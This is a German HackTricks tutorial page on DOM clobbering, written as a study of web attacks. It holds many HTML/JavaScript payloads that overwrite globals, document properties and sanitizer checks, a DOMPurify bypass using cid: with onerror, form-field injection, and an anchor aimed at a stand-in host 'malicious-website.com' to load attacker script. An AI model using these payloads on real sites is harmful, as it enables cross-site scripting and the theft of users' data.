Dom Clobbering
Reading time: 9 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlagen
Es ist möglich, globale Variablen im JS-Kontext mit den Attributen id
und name
in HTML-Tags zu generieren.
<form id="x"></form>
<script>
console.log(typeof document.x) //[object HTMLFormElement]
</script>
Nur bestimmte Elemente können das name-Attribut verwenden, um Globals zu clobbern, und zwar: embed
, form
, iframe
, image
, img
und object
.
Interessanterweise, wenn Sie ein Formular-Element verwenden, um eine Variable zu clobbern, erhalten Sie den toString
-Wert des Elements selbst: [object HTMLFormElement]
, aber bei Anker wird der toString
der Anker href
sein. Daher können Sie, wenn Sie mit dem a
-Tag clobbern, den Wert steuern, wenn er als String behandelt wird:
<a href="controlled string" id="x"></a>
<script>
console.log(x) //controlled string
</script>
Arrays & Attribute
Es ist auch möglich, ein Array und Objektattribute zu überschreiben:
<a id="x">
<a id="x" name="y" href="controlled">
<script>
console.log(x[1]) //controlled
console.log(x.y) //controlled
</script></a
></a
>
Um ein 3. Attribut (z.B. x.y.z) zu überschreiben, müssen Sie ein form
verwenden:
<form id="x" name="y"><input id="z" value="controlled" /></form>
<form id="x"></form>
<script>
alert(x.y.z.value) //controlled
</script>
Das Überschreiben weiterer Attribute ist komplizierter, aber dennoch möglich, indem man iframes verwendet:
<iframe name="x" srcdoc="<a id=y href=controlled></a>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(x.y) //controlled
</script>
warning
Das style-Tag wird verwendet, um genug Zeit für das Rendern des iframes zu geben. Ohne es wirst du eine Warnung von undefined finden.
Um tiefere Attribute zu überschreiben, kannst du iframes mit HTML-Codierung auf diese Weise verwenden:
<iframe
name="a"
srcdoc="<iframe srcdoc='<iframe name=c srcdoc=<a/id=d&amp;#x20;name=e&amp;#x20;href=\controlled&amp;gt;<a&amp;#x20;id=d&amp;gt; name=d>' name=b>"></iframe>
<style>
@import "https://google.com";
</style>
<script>
alert(a.b.c.d.e) //controlled
</script>
Filterumgehung
Wenn ein Filter durch die Eigenschaften eines Knotens mit etwas wie document.getElementByID('x').attributes
schleift, könntest du das Attribut .attributes
überschreiben und den Filter brechen. Andere DOM-Eigenschaften wie tagName
, nodeName
oder parentNode
und mehr sind ebenfalls überschreibbar.
<form id="x"></form>
<form id="y">
<input name="nodeName" />
</form>
<script>
console.log(document.getElementById("x").nodeName) //FORM
console.log(document.getElementById("y").nodeName) //[object HTMLInputElement]
</script>
Clobbering window.someObject
In JavaScript ist es üblich, Folgendes zu finden:
var someObject = window.someObject || {}
Das Manipulieren von HTML auf der Seite ermöglicht es, someObject
mit einem DOM-Knoten zu überschreiben, was potenziell Sicherheitsanfälligkeiten einführen kann. Zum Beispiel können Sie someObject
durch ein Ankerelement ersetzen, das auf ein bösartiges Skript verweist:
<a id=someObject href=//malicious-website.com/malicious.js></a>
In einem anfälligen Code wie:
<script>
window.onload = function () {
let someObject = window.someObject || {}
let script = document.createElement("script")
script.src = someObject.url
document.body.appendChild(script)
}
</script>
Diese Methode nutzt die Skriptquelle aus, um unerwünschten Code auszuführen.
Trick: DOMPurify
erlaubt die Verwendung des cid:
-Protokolls, das doppelte Anführungszeichen nicht URL-kodiert. Das bedeutet, dass Sie ein kodiertes doppeltes Anführungszeichen injizieren können, das zur Laufzeit dekodiert wird. Daher wird das Injizieren von etwas wie <a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">
dazu führen, dass das HTML-kodierte "
zur Laufzeit dekodiert wird und aus dem Attributwert entkommt, um das onerror
-Ereignis zu erzeugen.
Eine andere Technik verwendet ein form
-Element. Bestimmte clientseitige Bibliotheken überprüfen die Attribute eines neu erstellten Formularelements, um sie zu bereinigen. Durch das Hinzufügen eines input
mit id=attributes
innerhalb des Formulars überschreiben Sie jedoch effektiv die Eigenschaften der Attribute, wodurch der Sanitizer daran gehindert wird, auf die tatsächlichen Attribute zuzugreifen.
Sie können ein Beispiel für diese Art von Clobbering in diesem CTF-Bericht finden.
Clobbering des Dokumentobjekts
Laut der Dokumentation ist es möglich, Attribute des Dokumentobjekts mithilfe von DOM Clobbering zu überschreiben:
Die Document Schnittstelle unterstützt benannte Eigenschaften. Die unterstützten Eigenschaftsnamen eines Document Objekts bestehen zu jedem Zeitpunkt aus den folgenden, in Baumreihenfolge entsprechend dem Element, das sie beigetragen hat, wobei spätere Duplikate ignoriert werden und Werte von id Attributen vor Werten von Namensattributen kommen, wenn dasselbe Element beide beiträgt:
- Der Wert des Namensinhaltsattributs für alle exposed embed, form, iframe, img und exposed object Elemente, die ein nicht leeres Namensinhaltattribut haben und sich in einem Dokumentbaum mit Dokument als ihrem Wurzel befinden;
- Der Wert des id Inhaltsattributs für alle exposed object Elemente, die ein nicht leeres id Inhaltsattribut haben und sich in einem Dokumentbaum mit Dokument als ihrem Wurzel befinden;
- Der Wert des id Inhaltsattributs für alle img Elemente, die sowohl ein nicht leeres id Inhaltsattribut als auch ein nicht leeres Namensinhaltattribut haben und sich in einem Dokumentbaum mit Dokument als ihrem Wurzel befinden.
Mit dieser Technik können Sie häufig verwendete Werte wie document.cookie
, document.body
, document.children
und sogar Methoden in der Document-Schnittstelle wie document.querySelector
überschreiben.
document.write("<img name=cookie />")
document.cookie
<img name="cookie">
typeof(document.cookie)
'object'
//Something more sanitize friendly than a img tag
document.write("<form name=cookie><input id=toString></form>")
document.cookie
HTMLCollection(2) [img, form, cookie: img]
typeof(document.cookie)
'object
Schreiben nach dem Element, das überschrieben wurde
Die Ergebnisse von Aufrufen von document.getElementById()
und document.querySelector()
können verändert werden, indem ein <html>
- oder <body>
-Tag mit einem identischen id-Attribut injiziert wird. So kann es gemacht werden:
<div style="display:none" id="cdnDomain" class="x">test</div>
<p>
<html id="cdnDomain" class="x">
clobbered
</html>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
alert(document.querySelector(".x").innerText) // Clobbered
</script>
</p>
Darüber hinaus kann durch den Einsatz von Stilen, um diese injizierten HTML-/Body-Tags zu verbergen, eine Beeinträchtigung durch anderen Text im innerText
verhindert werden, wodurch die Wirksamkeit des Angriffs erhöht wird:
<div style="display:none" id="cdnDomain">test</div>
<p>existing text</p>
<html id="cdnDomain">
clobbered
</html>
<style>
p {
display: none;
}
</style>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Untersuchungen zu SVG haben ergeben, dass ein <body>
-Tag ebenfalls effektiv genutzt werden kann:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<body id="cdnDomain">
clobbered
</body>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Um das HTML-Tag innerhalb von SVG in Browsern wie Chrome und Firefox zu verwenden, ist ein <foreignobject>
-Tag erforderlich:
<div style="display:none" id="cdnDomain">example.com</div>
<svg>
<foreignobject>
<html id="cdnDomain">
clobbered
</html>
</foreignobject>
</svg>
<script>
alert(document.getElementById("cdnDomain").innerText) // Clobbered
</script>
Clobbering Forms
Es ist möglich, neue Einträge in ein Formular hinzuzufügen, indem man einfach das form
-Attribut in einigen Tags angibt. Man kann dies verwenden, um neue Werte in ein Formular hinzuzufügen und sogar einen neuen Button hinzuzufügen, um ihn zu senden (Clickjacking oder Missbrauch von etwas .click()
JS-Code):
<!--Add a new attribute and a new button to send-->
<textarea form="id-other-form" name="info">
";alert(1);//
</textarea>
<button form="id-other-form" type="submit" formaction="/edit" formmethod="post">
Click to send!
</button>
- Für weitere Formattribute in Button überprüfen Sie dies.
Referenzen
- https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering
- https://portswigger.net/web-security/dom-based/dom-clobbering
- Heyes, Gareth. JavaScript für Hacker: Lernen Sie, wie ein Hacker zu denken.
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.